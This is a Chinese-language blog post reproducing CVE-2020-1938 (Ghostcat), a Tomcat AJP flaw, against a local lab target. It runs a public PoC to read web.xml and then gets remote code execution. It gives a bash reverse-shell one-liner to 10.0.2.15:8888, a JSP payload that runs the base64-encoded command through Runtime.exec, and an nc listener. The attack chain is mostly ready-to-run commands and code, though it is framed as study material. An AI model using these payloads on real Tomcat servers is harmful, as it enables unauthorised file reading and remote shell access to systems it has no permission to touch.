CVE-2020-1938 Tomcat AJP漏洞复现
https://www.jianshu.com/p/f3e4b5896edb
直接使用大佬的POC代码,仅用于安全技术交流学习。
0x01 漏洞影响
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
0x02 前提
目标机器开启AJP Connector 服务端口(默认开启,为8009端口)
0x03 文件读取
poc代码需要在python2.7环境下运行,kali默认使用这个版本。进入到poc工程下,先安装依赖包:
pip install -r requirements.txt
执行文件读取
python poc.py -p 8009 -f "/WEB-INF/web.xml" 127.0.0.1
左侧窗口是tomcat容器目录,右侧通过poc代码非授权访问到的WEB-INF下的web.xml
![](https://upload-images.jianshu.io/upload_images/8818451-41ee7bff1f1ace5c.png?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
read file
0x04 文件包含RCE
这一步利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例
准备好的反弹shell姿势如下:
bash -i >& /dev/tcp/10.0.2.15/8888 0>&1
为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。最终的payload文件test.txt
如下:
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
这里直接将payload文件放到tomcat目录下,在本地准备接受反弹shell
rlwrap nc -lvnp 8888
然后执行poc:
python poc.py -p 8009 -f test.txt 127.0.0.1
可以看到左边nc获取到一个反弹shell,成功实现RCE
![](https://upload-images.jianshu.io/upload_images/8818451-5900967350673d29.png?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
image.png